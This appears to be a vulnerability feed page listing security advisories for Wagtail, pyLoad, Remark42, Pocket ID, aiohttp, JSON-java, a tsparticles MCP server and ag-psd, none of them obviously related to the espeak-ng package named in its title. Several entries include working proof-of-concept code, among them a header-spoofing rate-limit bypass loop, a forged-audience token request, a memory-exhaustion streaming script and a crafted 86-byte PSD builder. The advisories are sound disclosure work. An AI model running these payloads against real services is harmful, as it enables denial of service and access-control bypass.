Threats affecting pkg:generic/espeak-ng

Wagtail CMS versions prior to 7.0.9, 7.3.4, 7.4.3, and 8.0rc2 contain a vulnerability where users with the submit translations permission can copy a source page they cannot edit into a translation. This allows unauthorized viewing of the source page content despite lacking edit permissions. The issue is addressed in the specified fixed versions.

Wagtail versions prior to 7.0.9, 7.3.4, 7.4.3, and 8.0rc2 have an issue where ETag conditional request processing occurs before document permission and filename checks. This allows an unauthenticated attacker who knows a document ID and a candidate SHA1 hash to determine if that hash exists in the document library by submitting If-Match or If-None-Match headers. The vulnerability does not expose document contents, filenames, or other metadata beyond confirming the presence of known hashes. The issue is fixed in versions 7.0.9, 7.3.4, 7.4.3, and 8.0rc2.

Wagtail versions prior to 7.0.9, 7.3.4, 7.4.3, and 8.0rc2 have a vulnerability in the Documents and Images API V2 where descendant collections of directly restricted collections are not properly excluded. This allows API users to list filenames and names of documents and images in descendant collections that should be private. The issue is fixed in versions 7.0.9, 7.3.4, 7.4.3, and 8.0rc2.

bird-lg-go versions prior to 1.4.7 contain an argument injection vulnerability that allows unauthenticated remote attackers to read arbitrary local files. This flaw enables access to sensitive files such as /etc/shadow and /root/.bash_history. The vulnerability has been fixed in version 1.4.7.

A permission handling vulnerability in Wagtail CMS prior to versions 7.0.9, 7.3.4, 7.4.3, and 8.0rc2 allows users with add permission but without change or view permissions on snippet models to access and copy snippet content they are not authorized to view. This improper permission check exposes snippet contents to unauthorized users. The issue is fixed in the specified versions.

The code-graph-rag package contains a path traversal vulnerability (CVE-2026-77604) in the read_file MCP tool's paginated branch. When offset or limit parameters are supplied, the code constructs a file path without validating that it remains within the project root, allowing absolute paths to bypass restrictions. This enables an attacker to read arbitrary UTF-8-readable files on the server, such as /etc/hosts. The non-paginated branch is protected by a path validation decorator, but this is not applied in the paginated branch. The vulnerability is unauthenticated and network-accessible when the HTTP transport is enabled. A fix is available in version 0.0.345.

A Server-Side Request Forgery (SSRF) vulnerability exists in InternLM's lmdeploy toolkit versions 0.12.3 up to but not including 0.15.0. The vulnerability arises because the URL validation function _is_safe_url uses urlparse, which does not handle backslashes consistently with requests.Session().get. This discrepancy allows an attacker to craft URLs that appear safe but cause the application to send requests to internal network hosts, potentially exposing sensitive internal HTTP service data. The issue is resolved in version 0.15.0.

### Summary Remark42 applied chi's `middleware.RealIP` globally, trusting `True-Client-IP` / `X-Real-IP` / `X-Forwarded-For` headers without verifying the request came from a trusted proxy. The per-IP rate limiters key on the overwritten `r.RemoteAddr`, so any client can bypass every per-IP rate limiter by rotating spoofed IP headers. The same spoofed IP also drives other per-IP controls (stored comment IP, anonymous identity derivation, and `--votes-ip` vote de-duplication). This affects deployments reachable directly from the internet (Remark42's built-in HTTP, static TLS, and ACME modes are all documented and supported), as well as any proxied deployment where the proxy forwards an attacker-controlled recognised header. ### Details The router applies `middleware.RealIP` globally, ahead of the per-route limiters, without any check that the server is behind a trusted proxy (in v1.16.1, `backend/app/rest/api/rest.go:207`). The `rateLimiter` function (v1.16.1, `backend/app/rest/api/rest.go:769-779`) builds a tollbooth limiter with `IPLookup{Name: "RemoteAddr"}`, which reads `r.RemoteAddr`. Since chi's `middleware.RealIP` (v1.16.1, `backend/vendor/github.com/go-chi/chi/v5/middleware/realip.go:42-55`) unconditionally overwrites `r.RemoteAddr` from `True-Client-IP > X-Real-IP > first X-Forwarded-For` (accepting any syntactically valid IP), any client can set its apparent IP to an arbitrary value. This bypasses every per-IP rate limiter that runs after `RealIP`: `/auth` (2/s), avatars (100/s), the image proxy (10/s), open / protected / admin route groups (10/s), root routes (50/s), and `/web/*` (20/s). Comment and vote creation go through the update limiter, whose server default is `UPDATE_LIMIT=0.5`/s (burst 1), not 10/s. The global 1,000 concurrent-request throttle still applies, so this is a per-IP-limit bypass rather than truly unlimited throughput. chi's own documentation warns that `middleware.RealIP` should be used only behind a trusted proxy. ### PoC ```bash # Deploy Remark42 reachable directly from the internet (built-in HTTP / TLS / ACME, no proxy that overwrites the headers). # Comment creation is limited to UPDATE_LIMIT (default 0.5/s, burst 1) per IP. # Rotate X-Real-IP across many requests; each distinct value gets its own token bucket. for i in $(seq 1 100); do curl -s -o /dev/null -w '%{http_code}\n' \ -H "X-Real-IP: 192.0.2.$i" \ -X POST 'https://remark42.example.com/api/v1/comment?site=site1' \ -H 'Authorization: Bearer YOUR_JWT' \ -H 'Content-Type: application/json' \ -d '{"text":"spam","locator":{"site":"site1","url":"https://example.com/post"}}' done | sort | uniq -c # With rotating headers the responses stay 201; without them, requests beyond the burst return 429. ``` ### Impact By rotating the spoofed client IP an attacker bypasses the per-IP token buckets on all rate-limited endpoints and defeats other per-IP controls, enabling: (a) spam comment creation beyond the configured per-IP limit, (b) confirmation-email / notification flooding to supplied addresses, (c) high-volume outbound image fetching and resource consumption via the image proxy (its transport still blocks private/reserved destinations and DNS rebinding, so this is amplification, not new SSRF reach), (d) authentication-endpoint abuse, (e) where `--votes-ip` is enabled, defeating per-IP vote de-duplication (ballot stuffing), and (f) minting fresh anonymous identities and poisoning the stored comment IP and request logs, since the anonymous user ID is derived from `name + RemoteAddr`. The global concurrency ceiling and per-request timeouts remain, so availability impact is limited. ### Resolution Mitigation support was added in v1.16.2 (umputun/remark42#2116, follow-up in #2118). **Upgrading alone does not remediate the issue: `--trusted-proxy` must be configured.** The fix adds `--trusted-proxy` / `TRUSTED_PROXY`. When set, the forwarding headers (`X-Real-IP`, then `CF-Connecting-IP`, then the leftmost public `X-Forwarded-For`) are honoured only when the direct TCP peer falls inside a trusted-proxy network; for a request from any other peer those headers are dropped and the real socket IP is used. When it is **unset**, the previous trust-all behaviour is preserved for backward compatibility and a startup warning is logged, so an un-configured v1.16.2 remains exploitable. `True-Client-IP` is no longer recognised. `TRUSTED_PROXY` takes a comma-separated list; on the command line, repeat `--trusted-proxy` per entry. **Required configuration:** - **Reachable directly from the internet:** set a value that no real client matches so the forwarding headers are always ignored, e.g. `--trusted-proxy=127.0.0.1/32` (only when Remark42 is not actually reached over loopback). - **Behind a reverse proxy:** point `--trusted-proxy` at the proxy's network only, block direct access to Remark42, and make the proxy **overwrite** `X-Real-IP` with the real client and discard client-supplied forwarding headers. A proxy

CVE-2026-123817 is a high-severity vulnerability in aiohttp prior to version 3.14.4. It involves the WebSocket reader retaining one bytes object per transport read while reassembling incomplete frames, allowing a malicious peer to cause excessive memory consumption or denial of service by splitting a frame into many tiny reads. This affects both servers receiving frames from malicious clients and clients receiving frames from malicious servers. The issue is fixed in version 3.14.4.

## Summary The client credentials grant (`grant_type=client_credentials`) does not validate the resource parameter before embedding it as the aud claim in the issued JWT. Any authenticated OIDC client can obtain a Pocket ID-signed access token claiming authorization for any arbitrary audience, including other registered OIDC clients. There is no check that the requested audience is a registered resource server, and no check that the requesting client has been granted permission to access it. ## Details In `backend/internal/service/oidc_service.go`, `createTokenFromClientCredentials` accepts the resource parameter from the token request and places it directly into the `aud` claim of the issued JWT without validation: ```golang audClaim := client.ID if input.Resource != "" { audClaim = input.Resource // no validation performed } accessToken, err := s.jwtService.GenerateOAuthAccessToken(dummyUser, audClaim) ``` The only guard in this function is `verifyClientCredentialsInternal`, which confirms the requesting client's credentials are valid. After that check passes, any value supplied as resource is accepted. There is no registry of permitted audiences, no per-client authorization policy controlling which resources a client may request tokens for, and no validation that the resource value corresponds to anything registered in Pocket ID. The introspection endpoint (`/api/oidc/introspect`) does not mitigate this. It checks that the introspecting client's ID matches the token's `aud` claim, but since the attacker controls `aud`, a resource server calling introspection to validate an inbound token will receive `"active": true`. Pocket ID has no server-side record of which client requested the token or whether it was authorized to do so, so introspection cannot distinguish a legitimately issued token from one obtained through this vulnerability. ## PoC Given a Pocket ID instance with two registered OIDC clients — `client-a` (attacker-controlled) and `client-b` (target resource) — the following request causes Pocket ID to issue a signed JWT with `aud: ["client-b"]`, authenticated only as `client-a`: ``` curl -X POST https://<pocket-id-host>/api/oidc/token \ -d "grant_type=client_credentials" \ -d "client_id=client-a" \ -d "client_secret=<client-a-secret>" \ -d "resource=client-b" ``` The response is a valid, Pocket ID-signed JWT with: ```json { "sub": "client-client-a", "aud": ["client-b"], "iss": "https://<pocket-id-host>", "type": "oauth-access-token" } ``` This token will pass signature and `aud` validation at any resource server that trusts Pocket ID's JWKS and accepts `client-b` as its audience identifier. ## Impact Any OIDC client registered in Pocket ID that has valid credentials (client secret or federated identity) can obtain a Pocket ID-signed access token scoped to any other registered client or arbitrary audience string. In deployments where services use the client credentials grant and validate incoming bearer tokens against Pocket ID's JWKS, this allows a compromised or malicious client to bypass audience-based access controls and present tokens to resource servers it should not be authorized to access. The severity depends on deployment: if no resource servers validate Pocket ID-issued access tokens, there is no immediate exploitable impact. In deployments that do rely on the client credentials grant for service-to-service authorization, the isolation between services is entirely broken.

Monoceros versions before 0.30 for Perl contain a vulnerability where a remote attacker can send a request with a large Content-Length header, causing the worker process to exhaust memory and crash. This occurs because the request body is read in a loop that attempts to allocate a buffer equal to the declared Content-Length before any data is received, leading to an uncatchable out-of-memory error. The issue is fixed in version 0.30.

pyLoad versions prior to 0.5.0b3.dev101 contain an improper authentication vulnerability in the API key validation caching mechanism. The system caches successful API key validations keyed only by the attacker-controlled key_id, which are small sequential integers. This allows an unauthenticated remote attacker to enumerate active key identifiers and reuse cached permissions for 300 seconds without proper key verification. The issue is fixed in version 0.5.0b3.dev101.

## Summary The HTTP mode of `@tsparticles/mcp-server` creates a single stateful `StreamableHTTPServerTransport` instance and reuses it for all clients. The first anonymous client that initializes the MCP endpoint claims the shared transport state, and later clients cannot create their own sessions. This was verified on `v4.3.0` at commit `0266d469aa2d719cb66a9c6bf09aded4186ec17c`. The same singleton transport pattern is still present in `v4.3.1` and current `main`. ## Affected Code The server creates one shared transport before accepting requests: const transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), }); const httpServer = createServer(async (req, res) => { ... await transport.handleRequest(req, res, parsedBody); }); Because the same transport object is reused across all requests, the first successful `initialize` call changes the state for all later clients. ## Reproduction Send two independent `initialize` requests without a prior `mcp-session-id`. First request: {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-11-25","capabilities":{},"clientInfo":{"name":"first-client","version":"1.0.0"}}} Second request: {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-11-25","capabilities":{},"clientInfo":{"name":"second-client","version":"1.0.0"}}} Observed result in 3 out of 3 runs: first response: HTTP 200 with mcp-session-id second response: HTTP 400 {"jsonrpc":"2.0","error":{"code":-32600,"message":"Invalid Request: Server already initialized"},"id":null} ## Impact An unauthenticated remote client can win the first-session race and prevent all later legitimate clients from establishing new MCP sessions until the process is restarted. The first session remains functional, but new clients are denied service. ## Recommendation Create a transport per session or maintain a bounded session-id-to-transport map. Do not reuse one stateful transport instance for all HTTP clients.

## Summary The HTTP mode of `@tsparticles/mcp-server` parses incoming `/mcp` request bodies with `JSON.parse()` outside a request-local error boundary. A single malformed JSON request causes the async request handler to throw and terminates the Node.js process. This was verified on `v4.3.0` at commit `0266d469aa2d719cb66a9c6bf09aded4186ec17c`. Version `4.3.1` appears to fix this by returning HTTP 400 for invalid JSON. ## Affected Code The vulnerable handler is: if (req.method === "POST" && req.url === "/mcp") { const body = await new Promise<string>((resolve, reject) => { const chunks: Buffer[] = []; req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8"))); req.on("error", reject); }); const parsedBody = body ? JSON.parse(body) : undefined; await transport.handleRequest(req, res, parsedBody); } The `JSON.parse()` call is not wrapped in `try/catch`. ## Reproduction Start the HTTP server and send this malformed request: POST /mcp HTTP/1.1 Content-Type: application/json Mcp-Protocol-Version: 2025-11-25 {"jsonrpc": Observed result in 3 out of 3 runs: exit_code=1 SyntaxError: Unexpected end of JSON input at Server.<anonymous> (integrations/mcp-server/src/index.ts:407:38) ## Impact An unauthenticated remote attacker can terminate the exposed MCP process with a single malformed request. The service remains unavailable until restarted by an external supervisor. ## Recommendation Wrap request parsing in a local `try/catch` and return a bounded HTTP 400 response such as: {"error":"Invalid JSON"} The process should remain alive after malformed requests.

CVE-2026-123815 is a critical path traversal vulnerability in pyLoad prior to version 0.5.0b3.dev102. It arises from unsafe extraction of tar archives that can include special device files when running on Python 3.9 through 3.13. This can lead to device creation on the host when pyLoad runs with elevated OS privileges, potentially compromising the system. The issue is fixed in version 0.5.0b3.dev102.

## 1. Executive Summary JSON-java version 20260522 contains an unguarded path from an HTTP request body to unbounded `BigInteger` and `BigDecimal` construction. `JSONTokener.nextSimpleValue()` accumulates numeric characters into a `StringBuilder` with no length cap, then passes the full string to `JSONObject.stringToNumber()`, which calls `new BigInteger(val)` or `new BigDecimal(val)` directly. Both constructors have polynomial time complexity (O(n^1.585) for `BigInteger`). A 488 KB JSON body — well within nginx's default 1 MB body-size limit — contains a 500,000-digit numeric literal that blocks the handling thread for approximately 3 seconds. Spring Boot has no default size limit for `application/json` request bodies. No parser configuration option (`withStrictMode`, `withKeepStrings`) prevents this. All three primary entry points are affected: `new JSONObject(String)`, `new JSONArray(String)`, and `XML.toJSONObject(String)`. This vulnerability is distinct from CVE-2023-5072 (which addressed `StackOverflowError` from deeply nested JSON *structures* via a `try/catch` in `nextValue()`) and from CVE-2022-45688 (which addressed recursive XML nesting depth). The numeric string length issue has been present since BigInteger support was introduced in release 20150729 and has never been fixed in any subsequent release. **Attack Complexity is rated High** because successful exploitation requires the target application to be using org.json specifically (rather than the default Jackson library used by Spring Boot), and requires the developer to have explicitly passed user-controlled input to `new JSONObject()` or equivalent. These are deployment conditions beyond the attacker's control. See Section 6 for the full CVSS rationale and Section 8 for the comparison with Jackson's treatment of the same issue class. This vulnerability was **reproduced locally against json-20260522.jar** with full evidence provided below. --- ## 2. Vulnerability Description `JSONTokener.nextSimpleValue()` accumulates characters into a `StringBuilder` with no length limit until it hits a structural JSON character: **`JSONTokener.java:500–504`:** ```java StringBuilder sb = new StringBuilder(); while (c >= ' ' && ",:]}/\\\"[{;=#".indexOf(c) < 0) { sb.append(c); // unbounded — no length check c = this.next(); } ``` The accumulated string is passed to `JSONObject.stringToValue()` → `stringToNumber()`, which calls `new BigInteger(val)` with zero size guard: **`JSONObject.java:2738`:** ```java BigInteger bi = new BigInteger(val); // val can be arbitrarily large; no guard ``` `BigInteger(String)` has O(n^1.585) time complexity due to its internal Karatsuba multiplication during construction. A 100,000-digit input takes ~120 ms; a 1,000,000-digit input takes ~12 seconds. The decimal path (`new BigDecimal(val)`, reached when the string contains a `.` or exponent) is equally affected. **No configuration option prevents this.** `withStrictMode(true)` and `withKeepStrings(true)` are not checked in the `nextSimpleValue()` → `stringToNumber()` call chain. Confirmed by execution: both options still produce BigInteger in ~120 ms for a 100K-digit input. **Relationship to CVE-2023-5072:** CVE-2023-5072 (fixed in release 20231013) catches `StackOverflowError` thrown by deeply nested JSON *structures* (`{[` brackets) inside `nextValue()`: ```java } catch (StackOverflowError e) { throw new JSONException("JSON Array or Object depth too large to process.", e); } ``` This fix is in `nextValue()` and covers only recursive object/array structure depth. It has no effect on the numeric string length path in `nextSimpleValue()` → `stringToNumber()`. The BigInteger length issue was not addressed in 20231013 or in any subsequent release. --- ## 3. Affected Code Locations | File | Lines | Description | |------|-------|-------------| | `JSONTokener.java` | 500–504 | `nextSimpleValue()` — unbounded character accumulation into `StringBuilder`, no length cap | | `JSONObject.java` | 2721–2748 | `stringToNumber()` — `new BigInteger(val)` / `new BigDecimal(val)` called directly with no length guard | --- ## 4. Proof of Concept (Locally Verified) ### 4.1 POC Code ```java import org.json.*; public class Poc2NumericDoSv2 { public static void main(String[] args) { System.out.println("=== CVE-002: JSONTokener Unbounded Numeric String DoS ==="); // Scaling: timing at different digit counts System.out.println("\n-- Unquoted numeric literal (JSONObject) --"); int[] sizes = {10_000, 100_000, 200_000, 500_000, 1_000_000}; for (int numLen : sizes) { String payload = "{\"x\":" + "9".repeat(numLen) + "}"; long start = System.currentTimeMillis(); JSONObject jo = new JSONObject(payload); long elapsed = System.currentTimeMillis() - start; System.out.printf(" %,7d digits (~%3d KB): %,5d ms type=%s%n", numLen, payload.length()/1024, elap

CVE-2026-124033 is a relative path traversal vulnerability in the AWS ParallelCluster CLI versions 3.0.0 up to but not including 3.16.0. The flaw affects the export-cluster-logs and export-image-logs commands, allowing an authenticated user with write access to the log export S3 bucket to write files outside the intended export directory on the machine running the command.

### Summary The HTTP server mode of `@tsparticles/mcp-server` accumulates all incoming request body chunks into an in-memory `Buffer[]` array with no size limit before calling `JSON.parse`. An unauthenticated remote attacker can stream an arbitrarily large body to `POST /mcp`, exhausting the Node.js process memory and causing a Denial of Service. The official Docker image ships with HTTP mode enabled by default (`--port 3000` on `0.0.0.0`), making this exploitable without any special configuration in containerized deployments. ### Details The vulnerability exists in `integrations/mcp-server/src/index.ts` at lines 399–407. The `POST /mcp` request handler resolves a `Promise` that pushes every incoming data chunk into a `Buffer[]` array without checking the cumulative size, a `Content-Length` header, or any other guard: ```ts // integrations/mcp-server/src/index.ts:399-407 if (req.method === "POST" && req.url === "/mcp") { const body = await new Promise<string>((resolve, reject) => { const chunks: Buffer[] = []; req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); // no size guard req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8"))); req.on("error", reject); }); const parsedBody = body ? JSON.parse(body) : undefined; ``` The complete data flow leading to exploitation: 1. `index.ts:390` — HTTP server is created. 2. `index.ts:399` — `POST /mcp` branch is entered; no authentication is performed. 3. `index.ts:401-403` — Every chunk is appended to `chunks[]` without any byte-count check. 4. `index.ts:407` — The concatenated buffer is passed to `JSON.parse`. 5. `index.ts:416` — The server listens on `0.0.0.0`, exposing it on all network interfaces. There is no `Content-Length` validation, no body-size middleware, and no `413 Payload Too Large` response in the server source. The official `Dockerfile` (`integrations/mcp-server/Dockerfile`) sets `CMD ["node", "dist/index.js", "--port", "3000"]`, meaning Docker deployments run in HTTP mode by default without any additional opt-in. A suggested patch would be to track cumulative received bytes and destroy the request once a threshold (e.g., 1 MB) is exceeded: ```diff --- a/integrations/mcp-server/src/index.ts +++ b/integrations/mcp-server/src/index.ts @@ import { createServer } from "node:http"; import { randomUUID } from "node:crypto"; const PACKAGE_VERSION = "0.1.0"; +const maxRequestBodyBytes = 1024 * 1024; @@ if (req.method === "POST" && req.url === "/mcp") { const body = await new Promise<string>((resolve, reject) => { const chunks: Buffer[] = []; - req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); + let received = 0; + req.on("data", (chunk) => { + received += chunk.length; + if (received > maxRequestBodyBytes) { + req.destroy(new Error("Request body too large")); + return; + } + chunks.push(Buffer.from(chunk)); + }); req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8"))); req.on("error", reject); }); ``` ### PoC **Environment setup:** ```bash # Build the Docker image from the repository root docker build \ -f /path/to/vuln-001/Dockerfile \ -t vuln001-mcp \ /path/to/tsparticles-repo # Run with a 256 MB memory cap (matching the dynamic reproduction) docker run -d \ -p 127.0.0.1:3000:3000 \ --memory=256m --memory-swap=256m \ --name vuln001-mcp \ vuln001-mcp ``` **Exploit (Python PoC — `poc.py`):** The script uses chunked transfer encoding so only O(1 MB) of Python-side memory is needed, while the Node.js process accumulates every received chunk in its `Buffer[]` array. ```bash python3 poc.py --host 127.0.0.1 --port 3000 --mb 300 --container vuln001-mcp ``` Equivalent minimal request: ```python import socket s = socket.create_connection(("127.0.0.1", 3000)) headers = ( "POST /mcp HTTP/1.1\r\n" "Host: 127.0.0.1:3000\r\n" "Content-Type: application/json\r\n" "Transfer-Encoding: chunked\r\n" "Connection: close\r\n\r\n" ).encode() s.sendall(headers) prefix = b'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":"' s.sendall(f"{len(prefix):x}\r\n".encode() + prefix + b"\r\n") chunk = b"A" * (1024 * 1024) # 1 MB per write for _ in range(300): # stream 300 MB total s.sendall(f"{len(chunk):x}\r\n".encode() + chunk + b"\r\n") ``` **Expected result:** - Baseline memory usage: ~24.9 MiB / 256 MiB. - After ~209 MB received, the server-side `BrokenPipeError` occurs as Docker's OOM-killer terminates the process. - `docker inspect vuln001-mcp` shows `State.OOMKilled = true` and `State.Status = exited`. **Dynamic reproduction confirmed:** OOMKilled=true was observed during Phase 2 testing with a 300 MB stream against a container limited to 256 MB. ### Impact An unauthenticated remote attacker who can reach the `POST /mcp` HTTP endpoint can cause the Node.js server process to consume unbounded memory, lea

CVE-2026-123814 is a server-side request forgery (SSRF) vulnerability in pyLoad, a Python-based download manager. Authenticated non-admin users with SETTINGS permission can configure the WindowsPhoneNotify plugin to cause the server to send blind HTTP POST requests to attacker-controlled internal hosts when a download completes. This allows probing of internal services, access to cloud metadata endpoints, or triggering internal HTTP endpoints. The vulnerability is fixed in pyLoad version 0.5.0b3.dev102.

### Summary The `readPsd()` function in `ag-psd` accepts a `totalMemoryLimit` option to cap memory usage when parsing untrusted PSD files, but this limit is never forwarded to the layer image buffer allocation path. A property name mismatch (`totalMemoryLimit` vs. `memoryLimit`) causes the size guard inside `createImageDataBitDepth` to be skipped unconditionally. An attacker who can supply a crafted PSD to any application using `ag-psd` for server-side parsing can force an unbounded heap allocation — a 5000×5000 layer in a 86-byte file allocates 200 MB — leading to denial of service through process memory exhaustion regardless of what limit the caller specified. ### Details `readPsd()` (exported from `src/index.ts:22`) wraps caller-supplied bytes in a `PsdReader` object that inherits `ReadOptions`, which defines `totalMemoryLimit?: number` (`src/psd.ts:1819`). A default of 2 GB is written into the reader at `src/psdReader.ts:237`. When the parser reaches a layer, it calls `decodeLayerImageData(layer, reader)` at `src/psdReader.ts:568-569`, passing the `reader` object directly as the second argument. The `decodeLayerImageData` function signature is: ```ts // src/psdReader.ts:639-642 function decodeLayerImageData(layer: Layer, options: { useImageData?: boolean, throwForMissingFeatures?: boolean, memoryLimit?: number // ← expects "memoryLimit", not "totalMemoryLimit" }) { const imageData = getDataFromLayer(layer, ..., options.memoryLimit); ``` Because `reader` has `totalMemoryLimit` but not `memoryLimit`, `options.memoryLimit` evaluates to `undefined`. This value is passed down to `createImageDataBitDepth` at `src/psdReader.ts:684`: ```ts // src/psdReader.ts:671-684 const layerWidth = (layer.right || 0) - (layer.left || 0); const layerHeight = (layer.bottom || 0) - (layer.top || 0); // ... imageData = createImageDataBitDepth(layerWidth, layerHeight, bitsPerChannel, 4, memoryLimit); ``` Inside `createImageDataBitDepth`, the size guard at `src/psdReader.ts:861-864` is: ```ts const sizeInBytes = width * height * channels * Math.max(1, bitDepth / 8); if (memoryLimit !== undefined && sizeInBytes > memoryLimit) throw new Error('Exceeded memory limit'); ``` Because `memoryLimit` is `undefined`, the condition is always false. The allocation proceeds unconditionally at `src/psdReader.ts:872`: ```ts return new Uint16Array(width * height * channels); // attacker-controlled size ``` A secondary unbounded allocation exists at `src/psdReader.ts:1138-1139`, where `inflateSync(compressed)` decompresses ZIP-encoded channel data without any cap on the output size, enabling a similar DoS via ZIP bomb payloads. ### PoC **Environment setup** ```bash # Clone and build ag-psd at the affected commit git clone https://github.com/Agamnentzar/ag-psd.git cd ag-psd git checkout e64f0c96a5b8f9ea7c79599d08bbcfc57345b781 npm ci npm run build ``` **Build and run with Docker (self-contained)** ```bash # From the report directory (containing vuln-001/ and repo/) docker build -t ag-psd-vuln-001 -f vuln-001/Dockerfile . docker run --rm -e APP_DIR=/app -e RESULT_DIR=/tmp ag-psd-vuln-001 ``` **Manual reproduction (Node.js inline)** ```js // save as exploit.js and run: node exploit.js require('./initialize-canvas'); const { readPsd } = require('./dist'); const u16 = n => { const b = Buffer.alloc(2); b.writeUInt16BE(n); return b; }; const i16 = n => { const b = Buffer.alloc(2); b.writeInt16BE(n); return b; }; const u32 = n => { const b = Buffer.alloc(4); b.writeUInt32BE(n); return b; }; const i32 = n => { const b = Buffer.alloc(4); b.writeInt32BE(n); return b; }; const sec = (buf, r = 1) => Buffer.concat([u32(buf.length), buf, Buffer.alloc((r - buf.length % r) % r)]); const w = 5000, h = 5000; // Layer record: top=0, left=0, bottom=5000, right=5000, 0 channels, blending info, extra=0 const layer = Buffer.concat([ i32(0), i32(0), i32(h), i32(w), u16(0), Buffer.from('8BIMnorm'), Buffer.from([255, 0, 0, 0]), u32(0), ]); // PSD header: sig, version=1, reserved, channels=3, height=1, width=1, depth=16, colorMode=RGB const psd = Buffer.concat([ Buffer.from('8BPS'), u16(1), Buffer.alloc(6), u16(3), u32(1), u32(1), u16(16), u16(3), sec(Buffer.alloc(0)), // ColorModeData sec(Buffer.alloc(0)), // ImageResources sec(sec(Buffer.concat([i16(1), layer]), 2)), // LayerAndMaskInfo u16(0), Buffer.alloc(6), // ImageData (raw, minimal) ]); const before = process.memoryUsage(); const out = readPsd(psd, { useImageData: true, totalMemoryLimit: 1024 }); const after = process.memoryUsage(); console.log('PSD_BYTES=' + psd.length); // 86 console.log('LAYER_IMAGE_BYTES=' + out.children[0].imageData.data.byteLength); // 200000000 console.log('ARRAYBUFFER_DELTA=' + (after.arrayBuffers - before.arrayBuffers)); // 200000000 ``` **Expected output** ``` PSD_BYTES=86 TOTAL_MEMORY_LIMIT_OPTION=1024 LAYER_IMAGE_BYTES=2000000